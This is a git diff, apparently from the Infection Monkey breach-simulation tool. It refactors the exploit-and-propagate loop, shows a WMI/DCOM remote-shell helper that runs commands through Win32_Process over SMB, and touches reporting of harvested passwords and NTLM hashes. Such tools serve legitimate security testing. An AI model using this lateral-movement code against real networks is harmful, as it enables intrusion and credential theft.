iInterface = self.dcom.CoCreateInstanceEx(
|
||||||
|
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||||
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
|
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
||||||
|
'//./root/cimv2', NULL, NULL)
|
||||||
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
self.smbConnection.logoff()
|
||||||
|
self.dcom.disconnect()
|
||||||
|
|
||||||
|
def get_remote_shell(self):
|
||||||
|
self.connect()
|
||||||
|
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
||||||
|
self.shell = RemoteShell(
|
||||||
|
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
||||||
|
return self.shell
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.smbConnection.close()
|
||||||
|
self.smbConnection = None
|
||||||
|
self.dcom.disconnect()
|
||||||
|
self.dcom = None
|
|
@ -208,7 +208,7 @@ class InfectionMonkey(object):
|
||||||
if self.try_exploiting(machine, exploiter):
|
if self.try_exploiting(machine, exploiter):
|
||||||
host_exploited = True
|
host_exploited = True
|
||||||
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
||||||
if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET:
|
if exploiter.RUNS_AGENT_ON_SUCCESS:
|
||||||
break # if adding machine to exploited, won't try other exploits on it
|
break # if adding machine to exploited, won't try other exploits on it
|
||||||
if not host_exploited:
|
if not host_exploited:
|
||||||
self._fail_exploitation_machines.add(machine)
|
self._fail_exploitation_machines.add(machine)
|
||||||
|
@ -352,14 +352,14 @@ class InfectionMonkey(object):
|
||||||
try:
|
try:
|
||||||
result = exploiter.exploit_host()
|
result = exploiter.exploit_host()
|
||||||
if result:
|
if result:
|
||||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||||
except ExploitingVulnerableMachineError as exc:
|
except ExploitingVulnerableMachineError as exc:
|
||||||
LOG.error("Exception while attacking %s using %s: %s",
|
LOG.error("Exception while attacking %s using %s: %s",
|
||||||
machine, exploiter.__class__.__name__, exc)
|
machine, exploiter.__class__.__name__, exc)
|
||||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||||
return True
|
return True
|
||||||
except FailedExploitationError as e:
|
except FailedExploitationError as e:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||||
|
@ -370,13 +370,13 @@ class InfectionMonkey(object):
|
||||||
exploiter.send_exploit_telemetry(result)
|
exploiter.send_exploit_telemetry(result)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True):
|
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
|
||||||
"""
|
"""
|
||||||
Workflow of registering successfully exploited machine
|
Workflow of registering successfully exploited machine
|
||||||
:param machine: machine that was exploited
|
:param machine: machine that was exploited
|
||||||
:param exploiter: exploiter that succeeded
|
:param exploiter: exploiter that succeeded
|
||||||
"""
|
"""
|
||||||
if should_add_machine_to_exploited_set:
|
if RUNS_AGENT_ON_SUCCESS:
|
||||||
self._exploited_machines.add(machine)
|
self._exploited_machines.add(machine)
|
||||||
|
|
||||||
LOG.info("Successfully propagated to %s using %s",
|
LOG.info("Successfully propagated to %s using %s",
|
||||||
|
|
|
@ -214,7 +214,7 @@ class ReportService:
|
||||||
creds = []
|
creds = []
|
||||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||||
if len(monkey_creds) == 0:
|
if len(monkey_creds) == 0:
|
||||||
return
|
return []
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
for user in monkey_creds:
|
for user in monkey_creds:
|
||||||
for pass_type in PASS_TYPE_DICT:
|
for pass_type in PASS_TYPE_DICT:
|
||||||
|
|
Loading…
Reference in New Issue